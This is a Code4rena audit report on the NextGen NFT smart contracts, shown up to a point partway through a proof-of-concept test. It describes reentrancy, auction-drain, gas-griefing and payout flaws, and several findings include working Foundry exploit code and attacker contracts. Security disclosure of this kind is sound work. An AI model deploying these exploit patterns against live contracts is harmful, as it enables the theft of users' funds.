sponsor | slug | date | title | findings | contest |
---|---|---|---|---|---|
NextGen |
2023-10-nextgen |
2024-01-08 |
NextGen |
302 |
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the NextGen smart contract system written in Solidity. The audit took place between October 30 — November 13, 2023.
256 Wardens contributed reports to NextGen:
- 0x3b
- AvantGard
- lanrebayode77
- Krace
- immeas
- ZdravkoHr
- dy
- MrPotatoMagic
- btk
- 7siech
- dimulski
- t0x1c
- degensec
- KupiaSec
- Draiakoo
- oakcobalt
- Myd
- VAD37
- Haipls
- r0ck3tz
- The_Kakers (juancito and oxizo)
- gumgumzum
- nuthan2x
- trachev
- 0xlemon
- fibonacci
- Noro
- PetarTolev
- Udsen
- ast3ros
- REKCAH
- 00xSEV
- xAriextz
- K42
- xuwinnie
- alexfilippov314
- mrudenko
- DeFiHackLabs (AkshaySrivastav, Cache_and_Burn, IceBear, Ronin, Sm4rty, SunSec, sashik_eth, zuhaibmohd and ret2basic)
- Toshii
- JohnnyTime
- catellatech
- smiling_heretic
- Al-Qa-qa
- Ruhum
- Jiamin
- bart1e
- Tadev
- rotcivegaf
- rahul
- BugzyVonBuggernaut
- Stryder
- 0xblackskull
- zach
- lsaudit
- SovaSlava
- Fulum
- Juntao
- c3phas
- JCK
- thekmj
- 0xAnah
- rishabh
- bird-flu (BowTiedOriole and bowtiedvirus)
- CaeraDenoir
- circlelooper
- crunch
- ustas
- evmboi32
- peanuts
- phoenixV110
- hunter_w3b
- merlin
- devival
- PENGUN
- twcctop
- zhaojie
- Jorgect
- DanielArmstrong
- Eigenvectors (Cosine and timo)
- glcanvas
- niki
- 3th
- Kose
- clara
- SAAJ
- ihtishamsudo
- cats
- digitizeworx
- funkornaut
- Viktor_Cortess
- 00decree
- oualidpro
- jacopod
- cartlex_
- 0xAadi
- Kaysoft
- Hama
- Audinarey
- Fitro
- AS
- audityourcontracts
- Arabadzhiev
- HChang26
- SpicyMeatball
- Madalad
- openwide
- epistkr
- petrichor
- DavidGiladi
- 0xSolus
- dharma09
- hihen
- leegh
- tpiliposian
- cheatc0d3
- ZanyBonzy
- pipidu83
- xiao
- Neon2835
- tnquanghuy0512
- ayden
- sces60107
- ubl4nk
- Kow
- volodya
- innertia
- 0xarno
- Nyx
- mojito_auditor
- Zac
- 0xMAKEOUTHILL
- ABA
- 0xSwahili
- ohm (0x_kmr_ and 0x4ka5h)
- 0xJuda
- ke1caM
- DarkTower (Gelato_ST, Maroutis, OxTenma and 0xrex)
- codynhat
- 0xAsen
- TuringConsulting (0xadrii, JosepBove and Saintcode_)
- Greed
- 0xDetermination
- NoamYakov
- Vagner
- MaNcHaSsS
- yojeff
- CSL (shaflow2, steadyman, levi_104 and BY_DLIFE)
- Valix (0x8e88, merlinboii, JokerStudio and 62theories)
- NentoR
- Talfao
- 0xpiken
- flacko
- Soul22
- rvierdiiev
- 0xhunter
- nmirchev8
- 0xWaitress
- ChrisTina
- _eperezok
- xeros
- bdmcbri
- Bauchibred
- alexxander
- bronze_pickaxe
- Tricko
- 0x180db
- amaechieth
- cu5t0mpeo
- Delvir0
- 0x_6a70
- Ocean_Sky
- spark
- BugsFinder0x
- Taylor_Webb
- Timenov
- sl1
- droptpackets
- seeques
- pontifex
- 836541
- ilchovski
- Aymen0909
- 0xraion
- 0x175
- stackachu
- Neo_Granicen
- EricWWFCP
- 0xAlix2 (a_kalout and ali_shehab)
- kk_krish
- turvy_fuzz
- Beosin
- critical-or-high
- joesan
- y4y
- danielles0xG
- jasonxiale
- ciphermarco
- Inference
- slvDev
- 0xgrbr
- 0xMango
- inzinko
- Silvermist
- mahyar
- dethera
- Zach_166
- 0x656c68616a
- aslanbek
- tallo
- darksnow
- cccz
- cryptothemex
- blutorque
- vangrim
- c0pp3rscr3w3r
- yobiz
- shenwilly
- Oxsadeeq
- aldarion
- Norah
- 0xsagetony
- ak1
- TermoHash
- orion
- Shubham
- 8olidity
- max10afternoon
- kimchi
- 0xMosh
- Deft_TT
- 0xAleko
- AerialRaider
This audit was judged by 0xsomeone.
Final report assembled by thebrittfactor.
The C4 analysis yielded an aggregated total of 14 unique vulnerabilities. Of these vulnerabilities, 5 received a risk rating in the category of HIGH severity and 12 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 29 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 19 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
The code under review can be found within the C4 NextGen repository, and is composed of 8 smart contracts written in the Solidity programming language and includes 1265 lines of Solidity code.
In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, Hound from warden DadeKuma, generated the Automated Findings report and all findings therein were classified as out of scope.
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
Submitted by btk, also found by sl1, 836541, alexxander, ilchovski, Kose, pontifex, PetarTolev (1, 2, 3), ChrisTina, Tricko, DarkTower, DeFiHackLabs, immeas, Aymen0909, sces60107, phoenixV110, 0xraion, 0x175, trachev, 3th, droptpackets, Talfao, 0xJuda, r0ck3tz, smiling_heretic, stackachu, seeques, MrPotatoMagic, codynhat, audityourcontracts, ustas, jacopod, Neo_Granicen, bronze_pickaxe, PENGUN, bird-flu, EricWWFCP, ke1caM, Viktor_Cortess, The_Kakers, fibonacci, ayden, Al-Qa-qa, 0xpiken, xAriextz, ubl4nk, _eperezok, degensec, flacko, evmboi32, kk_krish, ZdravkoHr, gumgumzum, turvy_fuzz, Toshii, mojito_auditor, SovaSlava, AvantGard, 00xSEV, xuwinnie, SpicyMeatball, Kow, KupiaSec, VAD37, 0xAlix2 (1, 2), Ruhum, 0x180db, 0x3b, t0x1c, Beosin, critical-or-high, innertia, nuthan2x, joesan, danielles0xG, Soul22, and y4y
An attacker can reenter the MinterContract::mint
function, bypassing the maxCollectionPurchases
check and minting the entire collection supply.
The vulnerability stems from the absence of the Check Effects Interactions pattern. As seen here, NextGenCore::mint
updates the tokensMintedAllowlistAddress
and tokensMintedPerAddress
after making an external call:
// Minting logic is here
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress]++;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress]++;
}
}
- Attacker calls
MinterContract::mint
with a malicious contract as the receiver. - The malicious contract executes a crafted
onERC721Received()
. MinterContract::mint
invokesNextGenCore::mint
, which uses_safeMint()
internally._safeMint()
calls_recipient.onERC721Received()
, leading to the minting of the complete collection supply.
function onERC721Received(
address,
address,
uint256,
bytes memory
) public override returns (bytes4) {
(, , uint256 circulationSupply, uint256 totalSupply, , ) = nextGenCore
.retrieveCollectionAdditionalData(1);
if (circulationSupply == totalSupply)
return this.onERC721Received.selector;
bytes32[] memory merkleProof = new bytes32[](1);
merkleProof[0] = bytes32(0);
minterContract.mint{value: 1e18}({
_collectionID: 1,
_numberOfTokens: 1,
_maxAllowance: 0,
_tokenData: "",
_mintTo: address(this),
merkleProof: merkleProof,
_delegator: address(0),
_saltfun_o: 0
});
return this.onERC721Received.selector;
}
function testMintAllTheCollection() public {
bytes32[] memory merkleProof = setUpArrayBytes(1);
merkleProof[0] = bytes32(0);
address attacker = makeAddr("attacker");
vm.prank(attacker);
MintAllSupply mintAllSupply = new MintAllSupply(minterContract, nextGenCore);
deal(address(mintAllSupply), 49e18);
vm.warp(block.timestamp + 1 days);
console.log("(Collection Circulation Supply Before) = ", nextGenCore.viewCirSupply(1));
console.log("(Balance of attacker contract Before) = ", address(mintAllSupply).balance);
console.log("(Col 1 Balance of attacker contract Before) = ", nextGenCore.balanceOf(address(mintAllSupply)));
hoax(attacker, 1e18);
minterContract.mint{ value: 1e18}({
_collectionID: 1,
_numberOfTokens: 1,
_maxAllowance: 0,
_tokenData: "",
_mintTo: address(mintAllSupply),
merkleProof: merkleProof,
_delegator: address(0),
_saltfun_o: 0
});
console.log("(Collection Circulation Supply After) = ", nextGenCore.viewCirSupply(1));
console.log("(Balance of attacker contract After) = ", address(mintAllSupply).balance);
console.log("(Col 1 Balance of attacker contract After) = ", nextGenCore.balanceOf(address(mintAllSupply)));
}
(Collection Circulation Supply Before) : 0
(Balance of attacker contract Before) : 49000000000000000000
(Col 1 Balance of attacker contract Before) : 0
(Collection Circulation Supply After) : 50
(Balance of attacker contract After) : 0
(Col 1 Balance of attacker contract After) : 50
- Clone the repository: https://github.com/0xbtk/NextGen-Setup.git.
- Add the attacker's contract in the Helpers folder from this link.
- Incorporate the tests in
NextGenSecurityReview
. - Execute:
forge test --mt testMintAllTheCollection -vvv
.
We recommend following Check Effects Interactions in NextGenCore::mint
as follow:
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress]++;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress]++;
}
// Minting logic should be here
}
Reentrancy
a2rocket (NextGen) confirmed via duplicate issue #51
The Warden has illustrated how a re-entrant EIP-721 hook can be exploited to bypass the allowlist/public limitations set forth for a collection.
The Sponsor has confirmed the finding and I deem it valid as the code will update the minted per address mappings after the "safe" mint operation, thereby being susceptible to the re-entrancy described. Its severity of "high" is also deemed correct given that a main invariant of the system (mint limitations so scarcity of an NFT) can be broken arbitrarily as the re-entrancy attack can be repetitively replayed.
The Warden's submission was selected as the best due to its correct remediation relying on enforcement of the CEI pattern, short-and-sweet PoC, and overall clean submission.
After discussions with fellow judges, I have opted to split re-entrancy vulnerabilities into two separate instances:
- Absence of the CEI Pattern in
NextGenCore::mint
- Absence of the CEI Pattern in
MinterContract::mint
In my opinion, those two constitute different vulnerabilities as they relate to different state variables. The rationale behind this "split" is that when we consider the root cause for a vulnerability to render two submissions distinct, we have to treat a re-entrancy as a desirable trait of the EVM. Additionally, we cannot assume a rational fix is the application of the
ReentrancyGuard::nonReentrant
modifier; the enforcement of the CEI pattern is widely recognized as the "correct" way to resolve these issues.This assumption falls in line with what the Solidity documentation has instructed since its inception, given that the security considerations of the language clearly state that the CEI pattern should be applied and do not mention "re-entrancy" guards. As such, the root causes described in this issue are two unique ones:
- #1517: Absence of the CEI Pattern in
NextGenCore::mint
- #2048: Absence of the CEI Pattern in
MinterContract::mint
EDIT: After further consideration, I have opted to retain only this submission as a valid of the two.
The absence of the CEI pattern in #2048 leads to an incorrect
getPrice
being utilized for multiple valid mints in a period, and no Warden identified that particular aspect that is vulnerable. As such, I have proceeded to invalidate the submission and its duplicates.
Submitted by smiling_heretic, also found by 0xgrbr, 0xMango, merlin, devival, alexxander, DeFiHackLabs (1, 2), Udsen (1, 2), inzinko, ciphermarco (1, 2), TuringConsulting, Madalad (1, 2), immeas (1, 2), oakcobalt, phoenixV110, jasonxiale (1, 2, 3), Silvermist, xeros, btk (1, 2, 3), sl1 (1, 2), Toshii, 3th, Haipls, mahyar, DarkTower, Talfao, r0ck3tz, dethera, AvantGard (1, 2), Neon2835 (1, 2), seeques, Zach_166, Fulum, Arabadzhiev (1, 2), Eigenvectors (1, 2, 3), 00xSEV (1, 2, 3, 4), nuthan2x, zhaojie (1, 2), lsaudit (1, 2), audityourcontracts (1, 2), Al-Qa-qa, bird-flu, MrPotatoMagic, Delvir0, bronze_pickaxe, xuwinnie, 0xMAKEOUTHILL, PENGUN, rotcivegaf, droptpackets (1, 2), Greed, 0xDetermination, fibonacci, gumgumzum, cartlex_, ChrisTina (1, 2), Kow, ke1caM, The_Kakers (1, 2), 0xAsen (1, 2), aslanbek, Jorgect, 0xJuda, amaechieth (1, 2), xAriextz (1, 2), Krace, CaeraDenoir, Ruhum, darksnow, Draiakoo (1, 2), _eperezok, 0x180db, degensec, NoamYakov, openwide, Zac (1, 2), bdmcbri, HChang26, 0x3b, ABA, epistkr, slvDev (1, 2), cryptothemex, blutorque, vangrim, Kose, 0xSwahili, tnquanghuy0512, c0pp3rscr3w3r, yobiz, ast3ros, shenwilly, c3phas, 0xarno, innertia, trachev (1, 2), Oxsadeeq, aldarion, Norah, cu5t0mpeo (1, 2), VAD37, Vagner, circlelooper, alexfilippov314, 0xsagetony, volodya, ak1, 0x_6a70 (1, 2), SpicyMeatball (1, 2), MaNcHaSsS, 0x656c68616a (1, 2), JohnnyTime, dimulski (1, 2), Inference (1, 2, 3), lanrebayode77, crunch, TermoHash, t0x1c (1, 2, 3), ayden, Soul22 (1, 2), 0xpiken, tallo (1, 2), tpiliposian, orion, REKCAH, DanielArmstrong, cccz (1, 2), Shubham, 8olidity, ZdravkoHr, evmboi32, max10afternoon, 0xAadi (1, 2), pontifex, kimchi, 0xMosh, SovaSlava, joesan, Jiamin (1, 2), Kaysoft, 00decree, Hama, mrudenko, twcctop, Deft_TT, Juntao (1, 2), 0xAleko, y4y, AerialRaider, and rvierdiiev
It’s possible to drain all ETH from the AuctionDemo
contract. There are two bugs that make it possible when they're exploited together.
In AuctionDemo
there are two phases of an auction:
- Before
minter.getAuctionEndTime(_tokenid)
, when users can callparticipateToAuction
andcancelBid
functions. - After
minter.getAuctionEndTime(_tokenid)
, when the winner can callclaimAuction
.
However, =<
and >=
inequalities are used in all checks (1, 2, 3). Therefore, if block.timestamp == minter.getAuctionEndTime(_tokenid)
, then both phases are active at the same time and the winner of an auction can call all of these functions in the same transaction.
On Ethereum blockchain, one block is produced every 12
seconds. Therefore, for each auction there’s 1/12
probability that minter.getAuctionEndTime(_tokenid)
will be exactly equal to block.timestamp
for some block (assuming that minter.getAuctionEndTime(_tokenid) % 12
is uniformly random).
In cancelBid
function, auctionInfoData[_tokenid][index].status
is set to false
when a user gets a refund. This is to prevent getting a refund on the same bid multiple times.
However, there is no such protection in claimAuction
when refunding all non-winning bids.
These two bugs exploited together allow an attacker to quickly become the winner for an auction when minter.getAuctionEndTime(_tokenid) == block.timestamp
, then places an additional bid, and then gets refunded on these bids by canceling them.
The refund on the winning bid causes the winner to get the auctioned NFT for free.
Refunding on the additional bid allows the attacker to drain the contract because they get back twice the deposited amount of ETH (one refund from claimAuction
and one from cancelBid
, both for the same bid).
Attacker can “win“ an NFT from an auction and steal all ETH deposited for other auctions that are running at the time of the attack.
Condition that enables the attack is that minter.getAuctionEndTime(_tokenid) == block.timestamp
for some block and for some _tokenid
.
Let’s assume that:
minter.getAuctionEndTime(_tokenid) % 12
is a uniformly distributed random variable (all12
possible values have the same probability1/12
).- One block is produced every
12
seconds. - There were
100
auctions running inAuctionDemo
(only some of them have to overlap in time).
Under these assumptions, probability of minter.getAuctionEndTime(_tokenid) == block.timestamp
occurring is 1 - (11/12)^100 ~= 0.99983
. So it’s nearly guaranteed to happen.
Exact steps and full code to reproduce the exploit are in this secret gist.
Here is the test with main logic of the exploit:
function testExploit() public {
// get id of of 1st auctioned token
uint256 tokenId = gencore.viewTokensIndexMin(collectionId);
// check initial state
assertEq(gencore.ownerOf(tokenId), nftOwner);
assertEq(attacker.balance, 5 ether);
assertEq(honestUser.balance, 5 ether);
assertEq(address(auction).balance, 0);
assertEq(auctionOwner.balance, 0);
// required approval so that claimAuction won't revert
vm.prank(nftOwner);
gencore.approve(address(auction), tokenId);
// honest user participates in two auctions
vm.startPrank(honestUser);
auction.participateToAuction{value: 1 ether}(tokenId);
auction.participateToAuction{value: 3.06 ether}(tokenId + 1);
vm.stopPrank();
// attacker waits until block.timestamp == auctionEndTime
vm.warp(minter.getAuctionEndTime(tokenId));
// exploit
vm.startPrank(attacker);
// attacker places three bids and becomes the winner of the auction
auction.participateToAuction{value: 1.01 ether}(tokenId);
auction.participateToAuction{value: 1.02 ether}(tokenId);
auction.participateToAuction{value: 1.03 ether}(tokenId);
// attacker claims the auctioned NFT
// and receives refunds on their two non-winning bids
auction.claimAuction(tokenId);
// attacker gets refunds on all three bids
auction.cancelAllBids(tokenId);
vm.stopPrank();
// check final state
assertEq(gencore.ownerOf(tokenId), attacker);
assertEq(attacker.balance, 7.03 ether);
assertEq(honestUser.balance, 5 ether - 3.06 ether);
assertEq(address(auction).balance, 0);
assertEq(auctionOwner.balance, 1.03 ether);
}
Foundry
Use strict inequality (>
instead of >=
) in claimAuction
to exclude the exact minter.getAuctionEndTime(_tokenid)
from 2nd phase of the auction.
Set auctionInfoData[_tokenid][index].status = false
in claimAuction
before sending refunds (just like in cancelBid
) to protect against double refunds.
Timing
The Warden has illustrated that it is possible to exploit a time-based overlap between the claim of an auction and the cancellation of a bid to siphon funds from the NextGen system.
In contrast to #175 which is based on a similar time overlap albeit in different functions, I deem it to be better suited as a "major" severity issue given that its likelihood is low but its impact is "critical", permitting up to the full auction amount to be stolen thereby tapping into funds of other users.
The Warden's submission was selected as best because it clearly outlines the issue (it is possible to siphon all funds and not just claim the NFT for free), marks the timestamp caveat which limits the vulnerability's exploitability, and provides a short-and-sweet PoC illustrating the problem.
I initially planned to split cancel-after-bid submissions between re-entrancies and back-running attacks; however, both rely on the same core issue and as such will be merged under this exhibit given that back-running has "primacy" over re-entrancies (i.e. fixing a re-entrancy doesn't mean back-running is fixed, however, the opposite is true).
Findings relating to the cancellation of a bid and immediate claim at a low price have been grouped under this finding as concerning the same root cause. For more information, consult the relevant response in the original primary exhibit.
[H-03] Adversary can block claimAuction()
due to push-strategy to transfer assets to multiple bidders
Submitted by The_Kakers, also found by btk (1, 2), TuringConsulting, immeas, yojeff, DeFiHackLabs, audityourcontracts, Toshii, DarkTower, CSL, codynhat, lsaudit, trachev, Vagner, Greed, 0xDetermination, gumgumzum, lanrebayode77, 0xJuda, ke1caM, Al-Qa-qa, Valix, NentoR, glcanvas, CaeraDenoir, MaNcHaSsS, NoamYakov, 0xAsen, mrudenko, innertia, SovaSlava, Talfao, r0ck3tz, 0xlemon, 00xSEV, 0xhunter, VAD37, Arabadzhiev, PENGUN, niki, nmirchev8, flacko, Soul22, ZdravkoHr, 0xpiken, funkornaut, Ruhum, 0xWaitress, Viktor_Cortess, openwide, oualidpro, rvierdiiev, and Haipls
claimAuction()
implements a push-strategy instead of a pull-strategy for returning the bidders funds.
This gives the opportunity for an adversary to DOS the function, locking all funds from other participants.
This finding differs from the automated findings report M-01, and L-18, as it has a different root cause, can't be prevented with any of the mitigations from the bot, and also highlights the actual High impact of the issue.
- Prevents other bidders from receiving their bids back.
- Prevents the token owner from receiving earnings.
- Prevents the bidder winner from receiving the NFT.
All Ether from the auction can be lost as there is no alternate way of recovering it.
This also breaks one of the main invariants of the protocol:
Properties that should NEVER be broken under any circumstance:
- The highest bidder will receive the token after an auction finishes, the owner of the token will receive the funds and all other participants will get refunded.
An adversary can create bids for as little as 1 wei, as there is no minimum limitation: AuctionDemo.sol#L58. With that, it can participate in as many auctions as they want to grief all auctions.
All non-winning bidders that didn't cancel their bid before the auction ended will receive their bids back during claimAuction()
:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
/// ...
-> for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
(bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);
} else if (auctionInfoData[_tokenid][i].status == true) {
-> (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
} else {}
}
}
The contracts call the bidders with some value
. If the receiver is a contract, it can execute arbitrary code. A malicious bidder can exploit this to make the claimAuction()
always revert, and so no funds to other participants be paid back.
With the current implementation, a gas bomb can be implemented to perform the attack. L-18
from the automated findings report suggests the use of excessivelySafeCall()
to prevent it, but it limits the functionality of legit contract receivers, and eventually preventing them from receiving the funds. In addition, the finding doesn't showcase the High severity of the issue and may be neglected.
M-01 from the automated findings report points out the lack of a check of the success
of the calls. If the function reverts when the call was not successful, the adversary can make a callback on its contract receive()
function to always revert to perform this same attack. In addition, this finding also doesn't showcase the High severity of the issue.
Ultimately the way to prevent this attack is to separate the transfer of each individual bidder to a separate function.
Create a separate function for each bidder to claim their funds back (such as the cancel bids functions are implemented).
ETH-Transfer
a2rocket (NextGen) acknowledged and commented via duplicate issue #1703:
There are several ways to do this; we will introduce an additional
claimingFunction
.
The Warden specifies a way in which an auction can be sabotaged entirely in its claim operation by gas griefing.
While the finding has been identified as L-18 in the automated findings report, it may indeed be neglected and inadequately encompasses the severity of this flaw.
As the Warden clearly illustrates, all funds in the auction will be permanently lost and in an easily accessible fashion by simply either consuming all gas in meaningless operations or gas-bombing via an arbitrarily large payload being returned.
This particular submission was selected as best-for-report due to its acknowledgment of automated findings issues, precisely & correctly specifying the impact of the exhibit, and providing a PoC that demonstrates the problem.
The C4 Supreme Court verdict did not finalize on issues based entirely on automated findings and as such, I will deem this exhibit a valid high submission given its accessibility and 2-tier upgrade from the automated findings report (
L
toH
).
Submitted by 0x3b, also found by AvantGard, MrPotatoMagic, Krace (1, 2), ZdravkoHr, 0xlemon, fibonacci, nuthan2x, trachev, oakcobalt, and Noro
As explained by the sponsor, some collections might want to conduct multiple mints on different days. However, due to the way salesOption
3 works, these multiple mints might encounter issues.
A collection has completed its first mint, where it minted 500 NFTs. However, the collection consists of 1000 NFTs, so the owner plans to schedule another mint, this time using sales option 3.
Values | Time |
---|---|
allowlistStartTime |
4 PM |
allowlistEndTime |
7 PM |
publicStartTime |
7 PM |
publicEndTime |
1 day after public start |
timePeriod |
1 min |
The first user's mint will proceed smoothly since timeOfLastMint
falls within the previous mint period. However, the second user's mint will fail. The same applies to all other whitelisted users. This issue arises due to the following block:
lastMintDate[col] = collectionPhases[col].allowlistStartTime
+ (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
This calculation extends the allowed time significantly, granting the second minter an allowed time of allowlistStartTime + 1 min * (500-1) = allowlistStartTime + 499 min
, which is equivalent to 8 hours and 19 minutes after allowlistStartTime
. This enables the second user to mint at 12:19 AM, long after the whitelist has ended and in the middle of the public sale. And if anyone tries to mint, this call will revert with underflow
error, as timeOfLastMint
> block.timestamp
.
uint256 tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
It's worth noting that some collections may disrupt the whitelist, while others could brick the entire mint process; especially if there are more minted NFTs or a longer minting period.
- Gits - https://gist.github.com/0x3b33/677f86f30603dfa213541cf764bbc0e8.
- Add to remappings -
contracts/=smart-contracts/
. - Run it with
forge test --match-test test_multipleMints --lib-paths ../smart-contracts
.
For this fix, I am unable to give any suggestion as big parts of the protocol need to be redone. I can only point out the root cause of the problem, which is (gencore.viewCirSupply(col) - 1)
in the snippet below.
lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
Error
0xsomeone (judge) increased severity to High and commented:
The Warden's submission was selected as the best given that it illustrates the problem by citing the relevant documentation of the project, contains a valid PoC, and acknowledges the difficulty in rectifying this issue. While the submission has under-estimated the issue's severity, the relevant high-severity issues (#2012, #1123, #939, #632, #631, #89) were not of sufficient quality and the best candidate (#1123) minimizes the issue's applicability and does not advise a proper recommendation either.
To alleviate the issue, the Sponsor is advised to implement a "start date" for the periodic sales that is reconfigured whenever a periodic sale is re-instated. This would permit the
lastMintDate
calculations to "restart" the date from which periodic sale allowances should be tracked and also allow the code to snapshot the circulating supply at the time the first periodic sale occurs of each independent periodic sale phase. As the Warden correctly assessed, a viable solution to this vulnerability is difficult to implement.
Submitted by Hound
Note: this finding was reported via the winning Automated Findings report. It was declared out of scope for the audit, but is being included here for completeness.
There are some arrays that can grow indefinitely in size, as they never shrink. When these arrays are used in unbounded loops, they may lead to a permanent denial-of-service (DoS) of these functions.
- Attacker calls
participateToAuction
N times with dust amounts untilreturnHighestBid
reverts (out of gas). - When
claimAuction
is called byWinnerOrAdminRequired
, the transaction will fail, as it callsreturnHighestBid
. As a result,claimAuction
will be permanently DoS.
There are 4 instances of this issue:
File: smart-contracts/AuctionDemo.sol
// @audit function returnHighestBid is vulnerable as length grows in size but never shrinks
69: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
60: auctionInfoData[_tokenid].push(newBid);
// @audit function returnHighestBidder is vulnerable as length grows in size but never shrinks
90: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
60: auctionInfoData[_tokenid].push(newBid);
// @audit function claimAuction is vulnerable as length grows in size but never shrinks
110: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
60: auctionInfoData[_tokenid].push(newBid);
// @audit function cancelAllBids is vulnerable as length grows in size but never shrinks
136: for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
60: auctionInfoData[_tokenid].push(newBid);
Important and valid.
Submitted by immeas, also found by btk, dy, 7siech, and Myd
The royalty allocation within the protocol works like this:
First, an admin sets the split between team and artist. Here it is validated that the artist and team allocations together fill up 100%:
MinterContract::setPrimaryAndSecondarySplits
:
File: smart-contracts/MinterContract.sol
369: function setPrimaryAndSecondarySplits(uint256 _collectionID, uint256 _artistPrSplit, uint256 _teamPrSplit, uint256 _artistSecSplit, uint256 _teamSecSplit) public FunctionAdminRequired(this.setPrimaryAndSecondarySplits.selector) {
370: require(_artistPrSplit + _teamPrSplit == 100, "splits need to be 100%");
371: require(_artistSecSplit + _teamSecSplit == 100, "splits need to be 100%");
372: collectionRoyaltiesPrimarySplits[_collectionID].artistPercentage = _artistPrSplit;
373: collectionRoyaltiesPrimarySplits[_collectionID].teamPercentage = _teamPrSplit;
374: collectionRoyaltiesSecondarySplits[_collectionID].artistPercentage = _artistSecSplit;
375: collectionRoyaltiesSecondarySplits[_collectionID].teamPercentage = _teamSecSplit;
376: }
The artist can then propose a split between artist addresses, where it is validated that the different artist addresses together add up to the total artist allocation:
MinterContract::proposePrimaryAddressesAndPercentages
:
File: smart-contracts/MinterContract.sol
380: function proposePrimaryAddressesAndPercentages(uint256 _collectionID, address _primaryAdd1, address _primaryAdd2, address _primaryAdd3, uint256 _add1Percentage, uint256 _add2Percentage, uint256 _add3Percentage) public ArtistOrAdminRequired(_collectionID, this.proposePrimaryAddressesAndPercentages.selector) {
381: require (collectionArtistPrimaryAddresses[_collectionID].status == false, "Already approved");
382: require (_add1Percentage + _add2Percentage + _add3Percentage == collectionRoyaltiesPrimarySplits[_collectionID].artistPercentage, "Check %");
Then, also when paid out, there is a validation that the split between team and artist allocation adds up:
File: smart-contracts/MinterContract.sol
415: function payArtist(uint256 _collectionID, address _team1, address _team2, uint256 _teamperc1, uint256 _teamperc2) public FunctionAdminRequired(this.payArtist.selector) {
416: require(collectionArtistPrimaryAddresses[_collectionID].status == true, "Accept Royalties");
417: require(collectionTotalAmount[_collectionID] > 0, "Collection Balance must be greater than 0");
418: require(collectionRoyaltiesPrimarySplits[_collectionID].artistPercentage + _teamperc1 + _teamperc2 == 100, "Change percentages");
The issue is that here, it compares to the artist allocation from artist/team allocations. When the actual amount paid out is calculated, it uses the proposed (and accepted) artist address percentages:
File: smart-contracts/MinterContract.sol
429: artistRoyalties1 = royalties * collectionArtistPrimaryAddresses[colId].add1Percentage / 100;
430: artistRoyalties2 = royalties * collectionArtistPrimaryAddresses[colId].add2Percentage / 100;
431: artistRoyalties3 = royalties * collectionArtistPrimaryAddresses[colId].add3Percentage / 100;
Hence, there is a possibility that up to double the intended amount can be paid out, imagine this scenario:
- An admin sets artist/team allocation to 100% artist, 0% team.
- Artist proposes a split between addresses (for the total 100%), which is accepted.
- Admin then changes the allocation to 0% artist, 100% team.
They then call payArtist
with the 100% team allocation. This will pass the check as artistPercentage
will be 0
. However, the artist payouts will use the already proposed artist address allocations. Hence, double the amount will be paid out.
An admin can maliciously, or by mistake, manipulate the percentage allocation for a collections royalty to pay out up to double the amount of royalty. This could make it impossible to payout royalty later, as this steals royalty from other collections.
PoC using foundry. Save file in hardhat/test/MinterContractTest.t.sol
, also needs forge-std
in hardhat/lib
:
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
import {Test} from "../lib/forge-std/src/Test.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {INextGenCore} from "../smart-contracts/INextGenCore.sol";
contract MinterContractTest is Test {
uint256 constant colId = 1;
address team = makeAddr('team');
address artist = makeAddr('artist');
address core = makeAddr('core');
address delegate = makeAddr('delegate');
NextGenAdmins admin = new NextGenAdmins();
NextGenMinterContract minter;
function setUp() public {
minter = new NextGenMinterContract(core, delegate, address(admin));
vm.mockCall(core, abi.encodeWithSelector(INextGenCore.retrievewereDataAdded.selector), abi.encode(true));
vm.mockCall(core, abi.encodeWithSelector(INextGenCore.viewMaxAllowance.selector), abi.encode(1));
vm.mockCall(core, abi.encodeWithSelector(INextGenCore.retrieveTokensMintedPublicPerAddress.selector), abi.encode(0));
vm.mockCall(core, abi.encodeWithSelector(INextGenCore.viewTokensIndexMin.selector), abi.encode(1));
vm.mockCall(core, abi.encodeWithSelector(INextGenCore.viewCirSupply.selector), abi.encode(0));
vm.mockCall(core, abi.encodeWithSelector(INextGenCore.viewTokensIndexMax.selector), abi.encode(1_000));
vm.mockCall(core, abi.encodeWithSelector(INextGenCore.retrieveArtistAddress.selector), abi.encode(artist));
vm.mockCall(core, abi.encodeWithSelector(INextGenCore.mint.selector), new bytes(0));
